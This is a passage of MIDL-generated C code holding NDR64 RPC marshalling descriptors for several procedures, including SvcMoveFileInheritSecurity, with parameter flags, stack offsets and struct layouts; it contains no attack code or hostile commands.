__midl_frag92_t __midl_frag92 = 2116 | { 2117 | /* Proc18 */ 2118 | { 2119 | /* Proc18 */ /* procedure Proc18 */ 2120 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 2121 | (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ 2122 | (NDR64_UINT32) 6 /* 0x6 */, 2123 | (NDR64_UINT32) 40 /* 0x28 */, 2124 | (NDR64_UINT16) 0 /* 0x0 */, 2125 | (NDR64_UINT16) 0 /* 0x0 */, 2126 | (NDR64_UINT16) 3 /* 0x3 */, 2127 | (NDR64_UINT16) 8 /* 0x8 */ 2128 | }, 2129 | { 2130 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2131 | { 2132 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2133 | 0x72, /* FC64_BIND_PRIMITIVE */ 2134 | (NDR64_UINT8) 0 /* 0x0 */, 2135 | 0 /* 0x0 */, /* Stack offset */ 2136 | (NDR64_UINT8) 0 /* 0x0 */, 2137 | (NDR64_UINT8) 0 /* 0x0 */ 2138 | }, 2139 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2140 | }, 2141 | { 2142 | /* arg_1 */ /* parameter arg_1 */ 2143 | &__midl_frag105, 2144 | { 2145 | /* arg_1 */ 2146 | 0, 2147 | 0, 2148 | 0, 2149 | 1, 2150 | 0, 2151 | 0, 2152 | 1, 2153 | 1, 2154 | 0, 2155 | 0, 2156 | 0, 2157 | 0, 2158 | 0, 2159 | (NDR64_UINT16) 0 /* 0x0 */, 2160 | 0 2161 | }, /* [in], Basetype, ByValue */ 2162 | (NDR64_UINT16) 0 /* 0x0 */, 2163 | 8 /* 0x8 */, /* Stack offset */ 2164 | }, 2165 | { 2166 | /* arg_2 */ /* parameter arg_2 */ 2167 | &__midl_frag113, 2168 | { 2169 | /* arg_2 */ 2170 | 0, 2171 | 0, 2172 | 0, 2173 | 0, 2174 | 1, 2175 | 0, 2176 | 1, 2177 | 0, 2178 | 1, 2179 | 0, 2180 | 0, 2181 | 0, 2182 | 0, 2183 | (NDR64_UINT16) 0 /* 0x0 */, 2184 | 1 2185 | }, /* [out], Basetype, SimpleRef, UseCache */ 2186 | (NDR64_UINT16) 0 /* 0x0 */, 2187 | 16 /* 0x10 */, /* Stack offset */ 2188 | }, 2189 | { 2190 | /* long */ /* parameter long */ 2191 | &__midl_frag113, 2192 | { 2193 | /* long */ 2194 | 0, 2195 | 0, 2196 | 0, 2197 | 0, 2198 | 1, 2199 | 1, 2200 | 1, 2201 | 1, 2202 | 0, 2203 | 0, 2204 | 0, 2205 | 0, 2206 | 0, 2207 | (NDR64_UINT16) 0 /* 0x0 */, 2208 | 0 2209 | }, /* [out], IsReturn, Basetype, ByValue */ 2210 | (NDR64_UINT16) 0 /* 0x0 */, 2211 | 24 /* 0x18 */, /* Stack offset */ 2212 | } 2213 | }; 2214 | 2215 | static const __midl_frag88_t __midl_frag88 = 2216 | { 2217 | /* Proc17 */ 2218 | { 2219 | /* Proc17 */ /* procedure Proc17 */ 2220 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 2221 | (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ 2222 | (NDR64_UINT32) 14 /* 0xe */, 2223 | (NDR64_UINT32) 8 /* 0x8 */, 2224 | (NDR64_UINT16) 0 /* 0x0 */, 2225 | (NDR64_UINT16) 0 /* 0x0 */, 2226 | (NDR64_UINT16) 3 /* 0x3 */, 2227 | (NDR64_UINT16) 8 /* 0x8 */ 2228 | }, 2229 | { 2230 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2231 | { 2232 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2233 | 0x72, /* FC64_BIND_PRIMITIVE */ 2234 | (NDR64_UINT8) 0 /* 0x0 */, 2235 | 0 /* 0x0 */, /* Stack offset */ 2236 | (NDR64_UINT8) 0 /* 0x0 */, 2237 | (NDR64_UINT8) 0 /* 0x0 */ 2238 | }, 2239 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2240 | }, 2241 | { 2242 | /* arg_1 */ /* parameter arg_1 */ 2243 | &__midl_frag105, 2244 | { 2245 | /* arg_1 */ 2246 | 0, 2247 | 0, 2248 | 0, 2249 | 1, 2250 | 0, 2251 | 0, 2252 | 1, 2253 | 1, 2254 | 0, 2255 | 0, 2256 | 0, 2257 | 0, 2258 | 0, 2259 | (NDR64_UINT16) 0 /* 0x0 */, 2260 | 0 2261 | }, /* [in], Basetype, ByValue */ 2262 | (NDR64_UINT16) 0 /* 0x0 */, 2263 | 8 /* 0x8 */, /* Stack offset */ 2264 | }, 2265 | { 2266 | /* arg_2 */ /* parameter arg_2 */ 2267 | &__midl_frag113, 2268 | { 2269 | /* arg_2 */ 2270 | 0, 2271 | 0, 2272 | 0, 2273 | 1, 2274 | 0, 2275 | 0, 2276 | 1, 2277 | 1, 2278 | 0, 2279 | 0, 2280 | 0, 2281 | 0, 2282 | 0, 2283 | (NDR64_UINT16) 0 /* 0x0 */, 2284 | 0 2285 | }, /* [in], Basetype, ByValue */ 2286 | (NDR64_UINT16) 0 /* 0x0 */, 2287 | 16 /* 0x10 */, /* Stack offset */ 2288 | }, 2289 | { 2290 | /* long */ /* parameter long */ 2291 | &__midl_frag113, 2292 | { 2293 | /* long */ 2294 | 0, 2295 | 0, 2296 | 0, 2297 | 0, 2298 | 1, 2299 | 1, 2300 | 1, 2301 | 1, 2302 | 0, 2303 | 0, 2304 | 0, 2305 | 0, 2306 | 0, 2307 | (NDR64_UINT16) 0 /* 0x0 */, 2308 | 0 2309 | }, /* [out], IsReturn, Basetype, ByValue */ 2310 | (NDR64_UINT16) 0 /* 0x0 */, 2311 | 24 /* 0x18 */, /* Stack offset */ 2312 | } 2313 | }; 2314 | 2315 | static const __midl_frag86_t __midl_frag86 = 2316 | { 2317 | /* Proc16 */ 2318 | { 2319 | /* Proc16 */ /* procedure Proc16 */ 2320 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 2321 | (NDR64_UINT32) 16 /* 0x10 */ , /* Stack size */ 2322 | (NDR64_UINT32) 0 /* 0x0 */, 2323 | (NDR64_UINT32) 8 /* 0x8 */, 2324 | (NDR64_UINT16) 0 /* 0x0 */, 2325 | (NDR64_UINT16) 0 /* 0x0 */, 2326 | (NDR64_UINT16) 1 /* 0x1 */, 2327 | (NDR64_UINT16) 8 /* 0x8 */ 2328 | }, 2329 | { 2330 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2331 | { 2332 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2333 | 0x72, /* FC64_BIND_PRIMITIVE */ 2334 | (NDR64_UINT8) 0 /* 0x0 */, 2335 | 0 /* 0x0 */, /* Stack offset */ 2336 | (NDR64_UINT8) 0 /* 0x0 */, 2337 | (NDR64_UINT8) 0 /* 0x0 */ 2338 | }, 2339 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2340 | }, 2341 | { 2342 | /* long */ /* parameter long */ 2343 | &__midl_frag113, 2344 | { 2345 | /* long */ 2346 | 0, 2347 | 0, 2348 | 0, 2349 | 0, 2350 | 1, 2351 | 1, 2352 | 1, 2353 | 1, 2354 | 0, 2355 | 0, 2356 | 0, 2357 | 0, 2358 | 0, 2359 | (NDR64_UINT16) 0 /* 0x0 */, 2360 | 0 2361 | }, /* [out], IsReturn, Basetype, ByValue */ 2362 | (NDR64_UINT16) 0 /* 0x0 */, 2363 | 8 /* 0x8 */, /* Stack offset */ 2364 | } 2365 | }; 2366 | 2367 | static const __midl_frag84_t __midl_frag84 = 2368 | { 2369 | /* Struct_112_t */ 2370 | { 2371 | /* Struct_112_t */ 2372 | 0x30, /* FC64_STRUCT */ 2373 | (NDR64_UINT8) 3 /* 0x3 */, 2374 | { 2375 | /* Struct_112_t */ 2376 | 0, 2377 | 0, 2378 | 0, 2379 | 0, 2380 | 0, 2381 | 0, 2382 | 0, 2383 | 0 2384 | }, 2385 | (NDR64_UINT8) 0 /* 0x0 */, 2386 | (NDR64_UINT32) 16 /* 0x10 */ 2387 | } 2388 | }; 2389 | 2390 | static const __midl_frag83_t __midl_frag83 = 2391 | { 2392 | /* *Struct_112_t */ 2393 | 0x20, /* FC64_RP */ 2394 | (NDR64_UINT8) 0 /* 0x0 */, 2395 | (NDR64_UINT16) 0 /* 0x0 */, 2396 | &__midl_frag84 2397 | }; 2398 | 2399 | static const __midl_frag80_t __midl_frag80 = 2400 | { 2401 | /* Proc15 */ 2402 | { 2403 | /* Proc15 */ /* procedure Proc15 */ 2404 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 2405 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ 2406 | (NDR64_UINT32) 70 /* 0x46 */, 2407 | (NDR64_UINT32) 64 /* 0x40 */, 2408 | (NDR64_UINT16) 0 /* 0x0 */, 2409 | (NDR64_UINT16) 0 /* 0x0 */, 2410 | (NDR64_UINT16) 4 /* 0x4 */, 2411 | (NDR64_UINT16) 8 /* 0x8 */ 2412 | }, 2413 | { 2414 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2415 | { 2416 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2417 | 0x72, /* FC64_BIND_PRIMITIVE */ 2418 | (NDR64_UINT8) 0 /* 0x0 */, 2419 | 0 /* 0x0 */, /* Stack offset */ 2420 | (NDR64_UINT8) 0 /* 0x0 */, 2421 | (NDR64_UINT8) 0 /* 0x0 */ 2422 | }, 2423 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2424 | }, 2425 | { 2426 | /* arg_1 */ /* parameter arg_1 */ 2427 | &__midl_frag105, 2428 | { 2429 | /* arg_1 */ 2430 | 0, 2431 | 0, 2432 | 0, 2433 | 1, 2434 | 0, 2435 | 0, 2436 | 1, 2437 | 1, 2438 | 0, 2439 | 0, 2440 | 0, 2441 | 0, 2442 | 0, 2443 | (NDR64_UINT16) 0 /* 0x0 */, 2444 | 0 2445 | }, /* [in], Basetype, ByValue */ 2446 | (NDR64_UINT16) 0 /* 0x0 */, 2447 | 8 /* 0x8 */, /* Stack offset */ 2448 | }, 2449 | { 2450 | /* arg_2 */ /* parameter arg_2 */ 2451 | &__midl_frag113, 2452 | { 2453 | /* arg_2 */ 2454 | 0, 2455 | 0, 2456 | 0, 2457 | 1, 2458 | 0, 2459 | 0, 2460 | 1, 2461 | 1, 2462 | 0, 2463 | 0, 2464 | 0, 2465 | 0, 2466 | 0, 2467 | (NDR64_UINT16) 0 /* 0x0 */, 2468 | 0 2469 | }, /* [in], Basetype, ByValue */ 2470 | (NDR64_UINT16) 0 /* 0x0 */, 2471 | 16 /* 0x10 */, /* Stack offset */ 2472 | }, 2473 | { 2474 | /* arg_3 */ /* parameter arg_3 */ 2475 | &__midl_frag84, 2476 | { 2477 | /* arg_3 */ 2478 | 0, 2479 | 1, 2480 | 0, 2481 | 1, 2482 | 1, 2483 | 0, 2484 | 0, 2485 | 0, 2486 | 1, 2487 | 0, 2488 | 0, 2489 | 0, 2490 | 0, 2491 | (NDR64_UINT16) 0 /* 0x0 */, 2492 | 0 2493 | }, /* MustFree, [in], [out], SimpleRef */ 2494 | (NDR64_UINT16) 0 /* 0x0 */, 2495 | 24 /* 0x18 */, /* Stack offset */ 2496 | }, 2497 | { 2498 | /* long */ /* parameter long */ 2499 | &__midl_frag113, 2500 | { 2501 | /* long */ 2502 | 0, 2503 | 0, 2504 | 0, 2505 | 0, 2506 | 1, 2507 | 1, 2508 | 1, 2509 | 1, 2510 | 0, 2511 | 0, 2512 | 0, 2513 | 0, 2514 | 0, 2515 | (NDR64_UINT16) 0 /* 0x0 */, 2516 | 0 2517 | }, /* [out], IsReturn, Basetype, ByValue */ 2518 | (NDR64_UINT16) 0 /* 0x0 */, 2519 | 32 /* 0x20 */, /* Stack offset */ 2520 | } 2521 | }; 2522 | 2523 | static const __midl_frag79_t __midl_frag79 = 2524 | 0x7 /* FC64_INT64 */; 2525 | 2526 | static const __midl_frag76_t __midl_frag76 = 2527 | { 2528 | /* *wchar_t */ 2529 | 0x20, /* FC64_RP */ 2530 | (NDR64_UINT8) 0 /* 0x0 */, 2531 | (NDR64_UINT16) 0 /* 0x0 */, 2532 | &__midl_frag107 2533 | }; 2534 | 2535 | static const __midl_frag73_t __midl_frag73 = 2536 | { 2537 | /* SvcMoveFileInheritSecurity */ 2538 | { 2539 | /* SvcMoveFileInheritSecurity */ /* procedure SvcMoveFileInheritSecurity */ 2540 | (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ 2541 | (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ 2542 | (NDR64_UINT32) 8 /* 0x8 */, 2543 | (NDR64_UINT32) 16 /* 0x10 */, 2544 | (NDR64_UINT16) 0 /* 0x0 */, 2545 | (NDR64_UINT16) 0 /* 0x0 */, 2546 | (NDR64_UINT16) 4 /* 0x4 */, 2547 | (NDR64_UINT16) 8 /* 0x8 */ 2548 | }, 2549 | { 2550 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2551 | { 2552 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2553 | 0x72, /* FC64_BIND_PRIMITIVE */ 2554 | (NDR64_UINT8) 0 /* 0x0 */, 2555 | 0 /* 0x0 */, /* Stack offset */ 2556 | (NDR64_UINT8) 0 /* 0x0 */, 2557 | (NDR64_UINT8) 0 /* 0x0 */ 2558 | }, 2559 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2560 | }, 2561 | { 2562 | /* src */ /* parameter src */ 2563 | &__midl_frag107, 2564 | { 2565 | /* src */ 2566 | 1, 2567 | 1, 2568 | 0, 2569 | 1, 2570 | 0, 2571 | 0, 2572 | 0, 2573 | 0, 2574 | 1, 2575 | 0, 2576 | 0, 2577 | 0, 2578 | 0, 2579 | (NDR64_UINT16) 0 /* 0x0 */, 2580 | 0 2581 | }, /* MustSize, MustFree, [in], SimpleRef */ 2582 | (NDR64_UINT16) 0 /* 0x0 */, 2583 | 8 /* 0x8 */, /* Stack offset */ 2584 | }, 2585 | { 2586 | /* dest */ /* parameter dest */ 2587 | &__midl_frag107, 2588 | { 2589 | /* dest */ 2590 | 1, 2591 | 1, 2592 | 0, 2593 | 1, 2594 | 0, 2595 | 0, 2596 | 0, 2597 | 0, 2598 | 1, 2599 | 0, 2600 | 0, 2601 | 0, 2602 | 0, 2603 | (NDR64_UINT16) 0 /* 0x0 */, 2604 | 0 2605 | }, /* MustSize, MustFree, [in], SimpleRef */ 2606 | (NDR64_UINT16) 0 /* 0x0 */, 2607 | 16 /* 0x10 */, /* Stack offset */ 2608 | }, 2609 | { 2610 | /* flags */ /* parameter flags */ 2611 | &__midl_frag113, 2612 | { 2613 | /* flags */ 2614 | 0, 2615 | 0, 2616 | 0, 2617 | 1, 2618 | 0, 2619 | 0, 2620 | 1, 2621 | 1, 2622 | 0, 2623 | 0, 2624 | 0, 2625 | 0, 2626 | 0, 2627 | (NDR64_UINT16) 0 /* 0x0 */, 2628 | 0 2629 | }, /* [in], Basetype, ByValue */ 2630 | (NDR64_UINT16) 0 /* 0x0 */, 2631 | 24 /* 0x18 */, /* Stack offset */ 2632 | }, 2633 | { 2634 | /* __int3264 */ /* parameter __int3264 */ 2635 | &__midl_frag79, 2636 | { 2637 | /* __int3264 */ 2638 | 0, 2639 | 0, 2640 | 0, 2641 | 0, 2642 | 1, 2643 | 1, 2644 | 1, 2645 | 1, 2646 | 0, 2647 | 0, 2648 | 0, 2649 | 0, 2650 | 0, 2651 | (NDR64_UINT16) 0 /* 0x0 */, 2652 | 0 2653 | }, /* [out], IsReturn, Basetype, ByValue */ 2654 | (NDR64_UINT16) 0 /* 0x0 */, 2655 | 32 /* 0x20 */, /* Stack offset */ 2656 | } 2657 | }; 2658 | 2659 | static const __midl_frag67_t __midl_frag67 = 2660 | { 2661 | /* Struct_90_t */ 2662 | { 2663 | /* Struct_90_t */ 2664 | 0x35, /* FC64_FORCED_BOGUS_STRUCT */ 2665 | (NDR64_UINT8) 3 /* 0x3 */, 2666 | { 2667 | /* Struct_90_t */ 2668 | 0, 2669 | 1, 2670 | 0, 2671 | 0, 2672 | 0, 2673 | 0, 2674 | 0, 2675 | 0 2676 | }, 2677 | (NDR64_UINT8) 0 /* 0x0 */, 2678 | (NDR64_UINT32) 16 /* 0x10 */, 2679 | 0, 2680 | 0, 2681 | 0, 2682 | }, 2683 | { 2684 | /* */ 2685 | { 2686 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2687 | 0x5, /* FC64_INT32 */ 2688 | (NDR64_UINT8) 0 /* 0x0 */, 2689 | (NDR64_UINT16) 0 /* 0x0 */, 2690 | (NDR64_UINT32) 0 /* 0x0 */ 2691 | }, 2692 | { 2693 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2694 | 0x4, /* FC64_INT16 */ 2695 | (NDR64_UINT8) 0 /* 0x0 */, 2696 | (NDR64_UINT16) 0 /* 0x0 */, 2697 | (NDR64_UINT32) 0 /* 0x0 */ 2698 | }, 2699 | { 2700 | /* struct _NDR64_MEMPAD_FORMAT */ 2701 | 0x90, /* FC64_STRUCTPADN */ 2702 | (NDR64_UINT8) 0 /* 0x0 */, 2703 | (NDR64_UINT16) 2 /* 0x2 */, 2704 | (NDR64_UINT32) 0 /* 0x0 */ 2705 | }, 2706 | { 2707 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2708 | 0x5, /* FC64_INT32 */ 2709 | (NDR64_UINT8) 0 /* 0x0 */, 2710 | (NDR64_UINT16) 0 /* 0x0 */, 2711 | (NDR64_UINT32) 0 /* 0x0 */ 2712 | }, 2713 | { 2714 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2715 | 0x4, /* FC64_INT16 */ 2716 | (NDR64_UINT8) 0 /* 0x0 */, 2717 | (NDR64_UINT16) 0 /* 0x0 */, 2718 | (NDR64_UINT32) 0 /* 0x0 */ 2719 | }, 2720 | { 2721 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2722 | 0x4, /* FC64_INT16 */ 2723 | (NDR64_UINT8) 0 /* 0x0 */, 2724 | (NDR64_UINT16) 0 /* 0x0 */, 2725 | (NDR64_UINT32) 0 /* 0x0 */ 2726 | }, 2727 | { 2728 | /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ 2729 | 0x93, /* FC64_END */ 2730 | (NDR64_UINT8) 0 /* 0x0 */, 2731 | (NDR64_UINT16) 0 /* 0x0 */, 2732 | (NDR64_UINT32) 0 /* 0x0 */ 2733 | } 2734 | } 2735 | }; 2736 | 2737 | static const __midl_frag66_t __midl_frag66 = 2738 | { 2739 | /* *Struct_90_t */ 2740 | 0x20, /* FC64_RP */ 2741 | (NDR64_UINT8) 0 /* 0x0 */, 2742 | (NDR64_UINT16) 0 /* 0x0 */, 2743 | &__midl_frag67 2744 | }; 2745 | 2746 | static const __midl_frag65_t __midl_frag65 = 2747 | { 2748 | /* Proc12 */ 2749 | { 2750 | /* Proc12 */ /* procedure Proc12 */ 2751 | (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ 2752 | (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ 2753 | (NDR64_UINT32) 0 /* 0x0 */, 2754 | (NDR64_UINT32) 8 /* 0x8 */, 2755 | (NDR64_UINT16) 0 /* 0x0 */, 2756 | (NDR64_UINT16) 0 /* 0x0 */, 2757 | (NDR64_UINT16) 2 /* 0x2 */, 2758 | (NDR64_UINT16) 8 /* 0x8 */ 2759 | }, 2760 | { 2761 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2762 | { 2763 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2764 | 0x72, /* FC64_BIND_PRIMITIVE */ 2765 | (NDR64_UINT8) 0 /* 0x0 */, 2766 | 0 /* 0x0 */, /* Stack offset */ 2767 | (NDR64_UINT8) 0 /* 0x0 */, 2768 | (NDR64_UINT8) 0 /* 0x0 */ 2769 | }, 2770 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2771 | }, 2772 | { 2773 | /* arg_1 */ /* parameter arg_1 */ 2774 | &__midl_frag67, 2775 | { 2776 | /* arg_1 */ 2777 | 1, 2778 | 1, 2779 | 0, 2780 | 1, 2781 | 0, 2782 | 0, 2783 | 0, 2784 | 0, 2785 | 1, 2786 | 0, 2787 | 0, 2788 | 0, 2789 | 0, 2790 | (NDR64_UINT16) 0 /* 0x0 */, 2791 | 0 2792 | }, /* MustSize, MustFree, [in], SimpleRef */ 2793 | (NDR64_UINT16) 0 /* 0x0 */, 2794 | 8 /* 0x8 */, /* Stack offset */ 2795 | }, 2796 | { 2797 | /* long */ /* parameter long */ 2798 | &__midl_frag113, 2799 | { 2800 | /* long */ 2801 | 0, 2802 | 0, 2803 | 0, 2804 | 0, 2805 | 1, 2806 | 1, 2807 | 1, 2808 | 1, 2809 | 0, 2810 | 0, 2811 | 0, 2812 | 0, 2813 | 0, 2814 | (NDR64_UINT16) 0 /* 0x0 */, 2815 | 0 2816 | }, /* [out], IsReturn, Basetype, ByValue */ 2817 | (NDR64_UINT16) 0 /* 0x0 */, 2818 | 16 /* 0x10 */, /* Stack offset */ 2819 | } 2820 | }; 2821 | 2822 | static const __midl_frag59_t __midl_frag59 = 2823 | { 2824 | /* Proc11 */ 2825 | { 2826 | /* Proc11 */ /* procedure Proc11 */ 2827 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 2828 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ 2829 | (NDR64_UINT32) 28 /* 0x1c */, 2830 | (NDR64_UINT32) 8 /* 0x8 */, 2831 | (NDR64_UINT16) 0 /* 0x0 */, 2832 | (NDR64_UINT16) 0 /* 0x0 */, 2833 | (NDR64_UINT16) 5 /* 0x5 */, 2834 | (NDR64_UINT16) 8 /* 0x8 */ 2835 | }, 2836 | { 2837 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2838 | { 2839 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2840 | 0x72, /* FC64_BIND_PRIMITIVE */ 2841 | (NDR64_UINT8) 0 /* 0x0 */, 2842 | 0 /* 0x0 */, /* Stack offset */ 2843 | (NDR64_UINT8) 0 /* 0x0 */, 2844 | (NDR64_UINT8) 0 /* 0x0 */ 2845 | }, 2846 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2847 | }, 2848 | { 2849 | /* arg_1 */ /* parameter arg_1 */ 2850 | &__midl_frag105, 2851 | { 2852 | /* arg_1 */ 2853 | 0, 2854 | 0, 2855 | 0, 2856 | 1, 2857 | 0, 2858 | 0, 2859 | 1, 2860 | 1, 2861 | 0, 2862 | 0, 2863 | 0, 2864 | 0, 2865 | 0, 2866 | (NDR64_UINT16) 0 /* 0x0 */, 2867 | 0 2868 | }, /* [in], Basetype, ByValue */ 2869 | (NDR64_UINT16) 0 /* 0x0 */, 2870 | 8 /* 0x8 */, /* Stack offset */ 2871 | }, 2872 | { 2873 | /* arg_2 */ /* parameter arg_2 */ 2874 | &__midl_frag113, 2875 | { 2876 | /* arg_2 */ 2877 | 0, 2878 | 0, 2879 | 0, 2880 | 1, 2881 | 0, 2882 | 0, 2883 | 1, 2884 | 1, 2885 | 0, 2886 | 0, 2887 | 0, 2888 | 0, 2889 | 0, 2890 | (NDR64_UINT16) 0 /* 0x0 */, 2891 | 0 2892 | }, /* [in], Basetype, ByValue */ 2893 | (NDR64_UINT16) 0 /* 0x0 */, 2894 | 16 /* 0x10 */, /* Stack offset */ 2895 | }, 2896 | { 2897 | /* arg_3 */ /* parameter arg_3 */ 2898 | &__midl_frag105, 2899 | { 2900 | /* arg_3 */ 2901 | 0, 2902 | 0, 2903 | 0, 2904 | 1, 2905 | 0, 2906 | 0, 2907 | 1, 2908 | 1, 2909 | 0, 2910 | 0, 2911 | 0, 2912 | 0, 2913 | 0, 2914 | (NDR64_UINT16) 0 /* 0x0 */, 2915 | 0 2916 | }, /* [in], Basetype, ByValue */ 2917 | (NDR64_UINT16) 0 /* 0x0 */, 2918 | 24 /* 0x18 */, /* Stack offset */ 2919 | }, 2920 | { 2921 | /* arg_4 */ /* parameter arg_4 */ 2922 | &__midl_frag113, 2923 | { 2924 | /* arg_4 */ 2925 | 0, 2926 | 0, 2927 | 0, 2928 | 1, 2929 | 0, 2930 | 0, 2931 | 1, 2932 | 1, 2933 | 0, 2934 | 0, 2935 | 0, 2936 | 0, 2937 | 0, 2938 | (NDR64_UINT16) 0 /* 0x0 */, 2939 | 0 2940 | }, /* [in], Basetype, ByValue */ 2941 | (NDR64_UINT16) 0 /* 0x0 */, 2942 | 32 /* 0x20 */, /* Stack offset */ 2943 | }, 2944 | { 2945 | /* long */ /* parameter long */ 2946 | &__midl_frag113, 2947 | { 2948 | /* long */ 2949 | 0, 2950 | 0, 2951 | 0, 2952 | 0, 2953 | 1, 2954 | 1, 2955 | 1, 2956 | 1, 2957 | 0, 2958 | 0, 2959 | 0, 2960 | 0, 2961 | 0, 2962 | (NDR64_UINT16) 0 /* 0x0 */, 2963 | 0 2964 | }, /* [out], IsReturn, Basetype, ByValue */ 2965 | (NDR64_UINT16) 0 /* 0x0 */, 2966 | 40 /* 0x28 */, /* Stack offset */ 2967 | } 2968 | }; 2969 | 2970 | static const __midl_frag52_t __midl_frag52 = 2971 | { 2972 | /* Proc10 */ 2973 | { 2974 | /* Proc10 */ /* procedure Proc10 */ 2975 | (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ 2976 | (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ 2977 | (NDR64_UINT32) 20 /* 0x14 */, 2978 | (NDR64_UINT32) 40 /* 0x28 */, 2979 | (NDR64_UINT16) 0 /* 0x0 */, 2980 | (NDR64_UINT16) 0 /* 0x0 */, 2981 | (NDR64_UINT16) 5 /* 0x5 */, 2982 | (NDR64_UINT16) 8 /* 0x8 */ 2983 | }, 2984 | { 2985 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2986 | { 2987 | /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ 2988 | 0x72, /* FC64_BIND_PRIMITIVE */ 2989 | (NDR64_UINT8) 0 /* 0x0 */, 2990 | 0 /* 0x0 */, /* Stack offset */ 2991 | (NDR64_UINT8) 0 /* 0x0 */, 2992 | (NDR64_UINT8) 0 /* 0x0 */ 2993 | }, 2994 | (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ 2995 | }, 2996 | { 2997 | /* arg_1 */ /* parameter arg_1 */ 2998 | &__midl_frag105, 2999 | { 3000 | /* arg_1 */ 3001 | 0, 3002 | 0, 3003 | 0, 3004 | 1, 3005 | 0, 3006 | 0, 3007 | 1, 3008 | 1, 3009 | 0, 3010 | 0, 3011 | 0, 3012 | 0, 3013 | 0, 3014 | (NDR64_UINT16) 0 /* 0x0 */, 3015 | 0 3016 | }, /* [in], Basetype, ByValue */ 3017 | (NDR64_UINT16) 0 /* 0x0 */, 3018 | 8 /* 0x8 */, /* Stack offset */ 3019 | }, 3020 | { 3021 | /* arg_2 */ /* parameter arg_2 */ 3022 | &__midl_frag113, 3023 | { 3024 | /* arg_2 */ 3025 | 0, 3026 | 0, 3027 | 0, 3028 | 1, 3029 | 0, 3030 | 0, 3031 | 1, 3032 | 1, 3033 | 0, 3034 | 0, 3035 | 0, 3036 | 0, 3037 | 0, 3038 | (NDR64_UINT16) 0 /* 0x0 */, 3039 | 0 3040 | }, /* [in], Basetype, ByValue */ 3041 | (NDR64_UINT16) 0 /* 0x0 */, 3042 | 16 /* 0x10 */, /* Stack offset */ 3043 | }, 3044 | { 3045 | /* arg_3 */ /* parameter arg_3 */ 3046 | &__midl_frag105, 3047 | { 3048 | /* arg_3 */ 3049 | 0, 3050 | 0, 3051 | 0, 3052 | 1, 3053 | 0, 3054 | 0, 3055 | 1, 3056 | 1, 3057 | 0, 3058 | 0, 3059 | 0, 3060 | 0, 3061 | 0, 3062 | (NDR64_UINT16) 0 /* 0x0 */, 3063 | 0 3064 | }, /* [in], Basetype, ByValue */ 3065 | (NDR64_UINT16) 0 /* 0x0 */, 3066 | 24 /* 0x18 */, /* Stack offset */ 3067 | }, 3068 | { 3069 | /* arg_4 */ /* parameter arg_4 */ 3070 | &__midl_frag113, 3071 | { 3072 | /* arg_4 */ 3073 | 0, 3074 | 0, 3075 | 0, 3076 | 0, 3077 | 1, 3078 | 0, 3079 | 1, 3080 | 0, 3081 | 1, 3082 | 0, 3083 | 0, 3084 | 0, 3085 | 0, 3086 | (NDR64_UINT16) 0 /* 0x0 */, 3087 | 1 3088 | }, /* [out], Basetype, SimpleRef, UseCache */ 3089 | (NDR64_UINT16) 0 /* 0x0 */, 3090 | 32 /* 0x20 */, /* Stack offset */ 3091 | }, 3092 | { 3093 | /* long */ /* parameter long */ 3094 | &__midl_frag113, 3095 | { 3096 | /* long */ 3097 | 0, 3098 | 0, 3099 | 0, 3100 | 0, 3101 | 1, 3102 | 1, 3103 | 1, 3104 | 1, 3105 | 0, 3106 | 0, 3107 | 0, 